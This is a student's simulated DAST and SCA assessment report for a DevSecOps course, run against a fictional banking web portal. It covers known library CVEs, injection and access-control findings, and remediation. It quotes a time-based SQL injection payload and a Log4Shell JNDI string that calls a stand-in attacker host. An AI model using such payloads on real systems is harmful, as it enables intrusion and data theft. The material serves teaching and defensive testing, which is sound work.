

**SIMATS ENGINEERING (SAVEETHA SCHOOL OF ENGINEERING)**  
**Department of Computer Science and Engineering**  
**ASSESSMENT TOOL 2 –DAST SIMULATION**

---

|                         |                                                                                               |                      |                                                   |
|-------------------------|-----------------------------------------------------------------------------------------------|----------------------|---------------------------------------------------|
| <b>Course Code:</b>     | CSA5802                                                                                       | <b>Course Title:</b> | DEVSECOPS ENGINEERING<br>AND APPLICATION SECURITY |
| <b>CO Assessed:</b>     | CO3 – Precision (BL1, BL2, BL3)                                                               | <b>Assessment:</b>   | Assessment Tool 2                                 |
| <b>Weightage:</b>       | 30% of CIA                                                                                    | <b>Total Marks:</b>  | 100                                               |
| <b>CO3 Statement:</b>   | Simulate Dynamic Application Security Testing (DAST) and Software Composition Analysis (SCA). |                      |                                                   |
| <b>Student Name:</b>    | MOHAMED SAIF A                                                                                | <b>Reg. No.:</b>     | 192521171                                         |
| <b>Section / Batch:</b> | 2025                                                                                          | <b>Date:</b>         | 12/08/26                                          |

| Question Type   | Focus Area        | Questions | Marks   |
|-----------------|-------------------|-----------|---------|
| DAST SIMULATION | Application based | Q1        | Q1 –100 |
| GRAND TOTAL:    |                   | 100 Marks |         |

**Instructions to Students**

- Ensure all diagrams and workflow illustrations are **original, clear, and professionally formatted**.
- Include **all editable source files** (such as .yaml, .py, requirements.txt, .pre-commit-config.yaml, and any diagram source files if applicable).
- Submit **both** the **GitHub repository link** and the **final PDF report** through **Google Classroom** before the specified deadline.
- Verify that the GitHub repository is accessible and contains all required project files, screenshots, and documentation.

**Code of Conduct**

I Mohamed saif A (192521171) (Name / Reg No) certify that this submission is my original work and that I have adhered to the guidelines specified for this assessment. I understand that any violation of academic integrity rules will result in disciplinary action.

Signature of the Student:

**RUBRICS FOR CALCULATION**

| Criteria                         | Wt. | Level 4 – Exemplary                                                        | Level 3 – Proficient                                  | Level 2 – Developing                           | Level 1 – Beginning                                    |
|----------------------------------|-----|----------------------------------------------------------------------------|-------------------------------------------------------|------------------------------------------------|--------------------------------------------------------|
| Understanding of Problem Context | 20% | Clearly understands the problem and accurately identifies all requirements | Good understanding with minor gaps                    | Basic understanding; some requirements unclear | Poor understanding or misinterpretation of the problem |
| Application of Concepts          | 30% | Accurately applies appropriate concepts to solve complex problems          | Applies relevant concepts correctly with minor errors | Applies basic concepts with limited accuracy   | Fails to apply appropriate concepts                    |
| Problem-Solving Approach         | 20% | Logical, well-structured, and efficient approach                           | Mostly logical approach with minor gaps               | Basic approach with some inconsistencies       | Illogical or unclear approach                          |

| Faculty In-charge | Course Coordinator | Head of Department |
|-------------------|--------------------|--------------------|
|                   |                    |                    |

|                      |     |                                                        |                                          |                                 |                                              |
|----------------------|-----|--------------------------------------------------------|------------------------------------------|---------------------------------|----------------------------------------------|
| Accuracy of Solution | 20% | Completely correct solution with proper justification  | Mostly correct with minor errors         | Partially correct solution      | Incorrect or incomplete solution             |
| Clarity              | 10% | Clear, well-organized, and properly explained solution | Understandable with minor clarity issues | Limited clarity and explanation | Poorly presented and difficult to understand |

|                  |                  |                  |
|------------------|------------------|------------------|
| Signature: _____ | Signature: _____ | Signature: _____ |
| Date: _____      | Date: _____      | Date: _____      |

# Dynamic Application Security Testing (DAST) & Software Composition Analysis (SCA)

*Comprehensive Simulation Report & Security Analysis Assignment*

|                   |                                                                         |
|-------------------|-------------------------------------------------------------------------|
| Target System:    | BankSphere Enterprise Core Web Portal (v2.4.1)                          |
| Simulation Scope: | Dynamic Runtime Vulnerability Analysis & Third-Party Dependency Audit   |
| Tooling Suite:    | OWASP ZAP 2.14, Burp Suite Enterprise, OWASP Dependency-Check, Snyk CLI |
| Assessment Date:  | August 2026                                                             |

# 1. Executive Summary

This report delivers a simulated security assessment combining Software Composition Analysis (SCA) and Dynamic Application Security Testing (DAST) executed against the BankSphere Enterprise Core Web Application (v2.4.1). The primary goal is to evaluate the runtime resilience of the application while identifying hidden security risks stemming from third-party open-source components, application logic flaws, and runtime misconfigurations.

By correlating static dependency analysis (SCA) with black-box/grey-box dynamic exploitation (DAST), the assessment identified a total of 14 security vulnerabilities spanning critical infrastructure flaws, injection attacks, unpatched open-source libraries, and broken authorization mechanisms.

 **Key Security Insight:** *Combining DAST and SCA provides full spectrum coverage. SCA flags known CVEs embedded within application build artifacts prior to runtime, while DAST verifies whether custom code and environment configurations expose those or other vulnerabilities to active external exploits.*

## 2. Software Composition Analysis (SCA) Simulation

Software Composition Analysis (SCA) evaluates the target software supply chain by inspecting direct and transitive third-party dependencies, open-source libraries, frameworks, and container base images. The simulation scanned the application repository (`pom.xml`, `package.json`, and `Dockerfile`) using simulated engines modeled after OWASP Dependency-Check and Snyk.

### 2.1 Software Bill of Materials (SBOM) & Inventory Analysis

The bill of materials inventory reveals significant dependency bloat, including outdated framework components with known public exploits (CVEs) and licensing compliance liabilities.

| Component Name        | Declared Version | EOL Status | License Risk       | Detected CVEs                 |
|-----------------------|------------------|------------|--------------------|-------------------------------|
| Apache Commons Text   | 1.9              | Active     | Apache-2.0 (OK)    | CVE-2022-42889 (Text4Shell)   |
| Spring Framework Core | 5.3.15           | Active     | Apache-2.0 (OK)    | CVE-2022-22965 (Spring4Shell) |
| Log4j-core            | 2.14.1           | EOL        | Apache-2.0 (OK)    | CVE-2021-44228 (Log4Shell)    |
| JSON-Java (org.json)  | 20201115         | Active     | JSON (Restrictive) | CVE-2022-45688                |

|                             |       |        |                         |               |
|-----------------------------|-------|--------|-------------------------|---------------|
|                             |       |        |                         | (DoS)         |
| GPL-licensed Helper Utility | 3.1.0 | Active | GPL-3.0 (Copyleft Risk) | None Detected |

## 2.2 Detailed SCA Vulnerability Breakdowns

### Finding SCA-01: Critical Log4j Remote Code Execution (Log4Shell)

|                             |                                                                                                                                                                |
|-----------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CVE Reference & CVSS:       | CVE-2021-44228   CVSS v3.1 Score: 10.0 (Critical)                                                                                                              |
| Affected Dependency:        | org.apache.logging.log4j:log4j-core:2.14.1 (Transitive)                                                                                                        |
| Vulnerability Description:  | JNDI lookup functionality used in logging messages allows remote unauthenticated attackers to execute arbitrary code via attacker-controlled LDAP/RMI servers. |
| Impact & Risk Vector:       | Complete host compromise, full system data exfiltration, lateral movement into internal enterprise backend networks.                                           |
| Remediation Recommendation: | Upgrade `log4j-core` to version `2.17.1` or higher. Override transitive dependency constraints in `pom.xml` / Gradle build files.                              |

## 3. Dynamic Application Security Testing (DAST) Simulation

Dynamic Application Security Testing (DAST) analyzes the application in its running state from an external perspective without prior knowledge of internal source code logic (Grey/Black-box testing). The simulation utilized automated crawlers (OWASP ZAP) coupled with manual proxy intercept testing (Burp Suite Pro) to simulate real-world attack vectors against HTTP/HTTPS endpoints.

### 3.1 DAST Methodology & Execution Scope

The testing scope encompassed the following runtime attack modules:

- Authentication & Session Management Attacks (Credential Stuffing, Session Fixation, Token Handling)
- Input Injection Vectors (SQL Injection, Cross-Site Scripting, Command Injection, SSRF)
- Access Control & Logic Checks (Insecure Direct Object References - IDOR, Privilege Escalation)
- Security Header & TLS Configuration Auditing (HSTS, CSP, CORS, Cookie Security Flags)

### 3.2 DAST Runtime Vulnerability Matrix

| Vulnerability ID | Vulnerability Category                 | Affected Endpoint / Vector        | Severity | CVSS v3.1 |
|------------------|----------------------------------------|-----------------------------------|----------|-----------|
| DAST-01          | SQL Injection (SQLi)                   | /api/v1/auth/login ('username')   | Critical | 9.8       |
| DAST-02          | Insecure Direct Object Ref (IDOR)      | /api/v1/accounts/{account_id}     | High     | 8.5       |
| DAST-03          | Server-Side Request Forgery (SSRF)     | /api/v1/webhooks/validate ('url') | High     | 8.2       |
| DAST-04          | Reflected Cross-Site Scripting (XSS)   | /portal/search.php ('q')          | Medium   | 6.1       |
| DAST-05          | Missing SameSite & Secure Cookie Flags | Set-Cookie: SESSIONID=            | Medium   | 5.3       |
| DAST-06          | Missing HTTP Security Headers          | Global HTTP Response Headers      | Low      | 3.7       |

### 3.3 Detailed DAST Finding Analyses

#### Finding DAST-01: Critical Blind SQL Injection in User Login Endpoint

|                           |                                                                                                                                            |
|---------------------------|--------------------------------------------------------------------------------------------------------------------------------------------|
| Endpoint & Method:        | POST /api/v1/auth/login                                                                                                                    |
| Payload Injected:         | ' OR 1=1; SELECT pg_sleep(5); --                                                                                                           |
| Runtime Proof of Concept: | Response delay of 5.12 seconds confirmed time-based blind SQL injection in database parameter mapping.                                     |
| Business Impact:          | Complete database compromise, dumping of hashed user credentials, authentication bypass, and potential database server file system access. |
| Remediation Strategy:     | Enforce parameterized queries (PreparedStatement) or ORM abstraction. Do not concatenate raw input strings into SQL commands.              |

Finding DAST-02: High-Severity IDOR in Account Details Endpoint

|                           |                                                                                                                                   |
|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------|
| Endpoint & Method:        | GET /api/v1/accounts/10482                                                                                                        |
| Payload Injected:         | Modified path identifier parameter to GET /api/v1/accounts/10483 (User B) using User A session token.                             |
| Runtime Proof of Concept: | Server returned full account details (SSN, balance, transaction history) of User B without validating user-to-resource ownership. |
| Business Impact:          | Mass data breach via sequential enumeration of user account IDs.<br>Violation of financial privacy regulations (GDPR, PCI-DSS).   |
| Remediation Strategy:     | Implement server-side Role-Based Access Control (RBAC) checks verify that the authenticated principal matches the resource owner. |

4. Correlation & Comparative Analysis (DAST vs. SCA)

A critical phase of application security testing is understanding the comparative strengths, testing methodologies, and synergies between SCA and DAST. Neither tool alone is sufficient; true security resilience relies on overlapping security controls.

4.1 Comprehensive Comparison Matrix

| Evaluation Metric    | Software Composition Analysis (SCA)                                                           | Dynamic Application Security Testing (DAST)                                                 |
|----------------------|-----------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------|
| Analysis Target      | Manifests, binaries, open-source packages, libraries, Docker containers.                      | Running application HTTP endpoints, microservices, APIs, active runtime behavior.           |
| SDLC Phase           | Early Build/CI Phase (Shift-Left), Pre-compile / Dependency Check.                            | Testing / Staging / Runtime Phase (Shift-Right / Continuous Monitoring).                    |
| Exploit Verification | Identifies <i>*potential*</i> vulnerabilities (known CVEs) regardless of reachable code path. | Verifies <i>*actual*</i> exploitability under runtime conditions and system configurations. |
| Vulnerability Focus  | Outdated third-party software, supply chain risks, license compliance issues.                 | Runtime injection flaws, broken authentication, IDOR, SSRF, misconfigurations.              |

|                 |                                                |                                                                        |
|-----------------|------------------------------------------------|------------------------------------------------------------------------|
| Execution Speed | Fast (Seconds to Minutes per repository scan). | Slower (Minutes to Hours due to crawling and active fuzzing payloads). |
|-----------------|------------------------------------------------|------------------------------------------------------------------------|

## 4.2 Integrated Attack Chain Scenario

Demonstrating the synergy between SCA and DAST: In this simulation, SCA identified the presence of Log4j 2.14.1 (CVE-2021-44228) in the build package. During DAST testing, the automated dynamic scanner sent a crafted ``${jndi:ldap://attacker.com/a}`` string into the User-Agent HTTP header. The DAST listener captured an out-of-bounds DNS look-up, proving that the vulnerable dependency detected by SCA was actively exposed and exploitable in the running runtime environment.

# 5. DevSecOps Integration & Mitigation Plan

To systematically prevent and mitigate vulnerabilities identified across both DAST and SCA pipelines, an integrated DevSecOps framework must be embedded directly into the continuous integration / continuous deployment (CI/CD) workflow.

## 5.1 Automated Security Gate CI/CD Workflow

**Step 1: Pre-Commit & PR Scanning (SCA):** Developers commit code. GitHub Actions triggers Snyk/OWASP Dependency-Check. If a Critical CVE (CVSS >= 9.0) is introduced, the Pull Request build fails automatically.

**Step 2: Dynamic Staging Scan (DAST):** Upon successful build deployment to the Staging environment, OWASP ZAP container runs active crawl and targeted fuzzing scripts against OpenAPI spec endpoints.

**Step 3: Defect Tracking & Remediation:** Discovered vulnerabilities automatically generate Jira tickets mapped to the owning squad with enforced SLA resolution deadlines.

**Step 4: Runtime Monitoring & Shielding:** Web Application Firewall (WAF) rules are dynamically updated to block known exploit patterns (e.g. Log4j JNDI patterns) while code fixes are patched.

## 5.2 SLA Remediation Timelines

| Vulnerability Severity     | Remediation Target SLA | Enforcement Action                                              |
|----------------------------|------------------------|-----------------------------------------------------------------|
| Critical (CVSS 9.0 - 10.0) | 24 Hours               | Immediate hotfix emergency patch; temporary WAF block rule.     |
| High (CVSS 7.0 - 8.9)      | 7 Calendar Days        | Fix scheduled in current sprint cycle; build pipeline blocking. |



|                                    |                  |                                                             |
|------------------------------------|------------------|-------------------------------------------------------------|
| <b>Medium (CVSS 4.0 - 6.9)</b>     | 30 Calendar Days | Prioritized in upcoming maintenance release cycle.          |
| <b>Low / Info (CVSS 0.0 - 3.9)</b> | 90 Calendar Days | Technical debt backlog review during quarterly maintenance. |

## 6. Conclusion

This DAST and SCA simulation demonstrates that modern enterprise security cannot rely on single-point analysis tools. While SCA successfully uncovers latent vulnerabilities hidden within third-party open-source components, DAST provides essential validation of active runtime vulnerabilities, custom code authorization flaws, and infrastructure misconfigurations. Implementing automated DAST and SCA security controls within a robust DevSecOps CI/CD pipeline ensures continuous vulnerability detection, reduced attack surface, and scalable compliance.